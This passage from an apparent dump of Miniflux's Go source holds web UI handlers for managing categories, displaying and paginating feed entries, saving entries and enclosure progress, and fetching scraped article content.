    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) removeCategoryFeed(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\n\tif !h.store.CategoryFeedExists(request.UserID(r), categoryID, feedID) {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveFeed(request.UserID(r), feedID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/category/%d/feeds\", categoryID))\n}\n"
  },
  {
    "path": "internal/ui/category_save.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) saveCategory(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryForm := form.NewCategoryForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", categoryForm)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tcategoryCreationRequest := &model.CategoryCreationRequest{Title: categoryForm.Title}\n\n\tif validationErr := validator.ValidateCategoryCreation(h.store, user.ID, categoryCreationRequest); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_category\"))\n\t\treturn\n\t}\n\n\tif _, err = h.store.CreateCategory(user.ID, categoryCreationRequest); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/categories\"))\n}\n"
  },
  {
    "path": "internal/ui/category_update.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) updateCategory(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tcategoryForm := form.NewCategoryForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", categoryForm)\n\tview.Set(\"category\", category)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tcategoryRequest := &model.CategoryModificationRequest{\n\t\tTitle:        new(categoryForm.Title),\n\t\tHideGlobally: new(categoryForm.HideGlobally),\n\t}\n\n\tif validationErr := validator.ValidateCategoryModification(h.store, user.ID, category.ID, categoryRequest); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_category\"))\n\t\treturn\n\t}\n\n\tcategoryRequest.Patch(category)\n\tif err := h.store.UpdateCategory(category); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/category/%d/feeds\", categoryID))\n}\n"
  },
  {
    "path": "internal/ui/entry_category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithCategoryID(categoryID)\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/category/%d/entry/%d\", categoryID, nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/category/%d/entry/%d\", categoryID, prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_enclosure_save_position.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) saveEnclosureProgression(w http.ResponseWriter, r *http.Request) {\n\tenclosureID := request.RouteInt64Param(r, \"enclosureID\")\n\tenclosure, err := h.store.GetEnclosure(enclosureID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif enclosure == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\ttype enclosurePositionSaveRequest struct {\n\t\tProgression int64 `json:\"progression\"`\n\t}\n\n\tvar postData enclosurePositionSaveRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&postData); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tenclosure.MediaProgression = postData.Progression\n\n\tif err := h.store.UpdateEnclosure(enclosure); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, map[string]string{\"message\": \"saved\"})\n}\n"
  },
  {
    "path": "internal/ui/entry_feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showFeedEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithFeedID(feedID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithFeedID(feedID)\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/feed/%d/entry/%d\", feedID, nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/feed/%d/entry/%d\", feedID, prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_read.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showReadEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, \"changed_at\", \"desc\")\n\tentryPaginationBuilder.WithStatus(model.EntryStatusRead)\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/history/entry/%d\", nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/history/entry/%d\", prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"history\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_save.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/integration\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc (h *handler) saveEntry(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tbuilder := h.store.NewEntryQueryBuilder(request.UserID(r))\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserIntegrations, err := h.store.Integration(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tgo integration.SendEntry(entry, userIntegrations)\n\n\tresponse.JSONCreated(w, r, map[string]string{\"message\": \"saved\"})\n}\n"
  },
  {
    "path": "internal/ui/entry_scraper.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/mediaproxy\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/processor\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc (h *handler) fetchContent(w http.ResponseWriter, r *http.Request) {\n\tloggedUserID := request.UserID(r)\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\n\tentryBuilder := h.store.NewEntryQueryBuilder(loggedUserID)\n\tentryBuilder.WithEntryID(entryID)\n\tentryBuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := entryBuilder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(loggedUserID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfeedBuilder := storage.NewFeedQueryBuilder(h.store, loggedUserID)\n\tfeedBuilder.WithFeedID(entry.FeedID)\n\tfeed, err := feedBuilder.GetFeed()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := processor.ProcessEntryWebPage(feed, entry, user); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif err := h.store.UpdateEntryTitleAndContent(entry); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\treadingTime := locale.NewPrinter(user.Language).Plural(\"entry.estimated_reading_time\", entry.ReadingTime, entry.ReadingTime)\n\n\tresponse.JSON(w, r, map[string]string{\"content\": mediaproxy.RewriteDocumentWithRelativeProxyURL(entry.Content), \"reading_time\": readingTime})\n}\n"
  },
  {
    "path": "internal/ui/entry_search.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showSearchEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tsearchQuery := request.QueryStringParam(r, \"q\", \"\")\n\tunreadOnly := request.QueryBoolParam(r, \"unread\", false)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithSearchQuery(searchQuery)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithSearchQuery(searchQuery)\n\tif unreadOnly {\n\t\tif entry.Status == model.EntryStatusRead {\n\t\t\tentryPaginationBuilder.WithStatusOrEntryID(model.EntryStatusUnread, entry.ID)\n\t\t} else {\n\t\t\tentryPaginationBuilder.WithStatus(model.EntryStatusUnread)\n\t\t}\n\t}\n\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/search/entry/%d\", nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/search/entry/%d\", prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"searchQuery\", searchQuery)\n\tview.Set(\"searchUnreadOnly\", unreadOnly)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"search\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_starred.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showStarredEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithStarred()\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/starred/entry/%d\", nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/starred/entry/%d\", prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"starred\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_tag.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showTagEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\ttagName, err := url.PathUnescape(request.RouteStringParam(r, \"tagName\"))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithTags([]string{tagName})\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithTags([]string{tagName})\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/tags/%s/entry/%d\", url.PathEscape(tagName), nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/tags/%s/entry/%d\", url.PathEscape(tagName), prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/entry_toggle_starred.go",
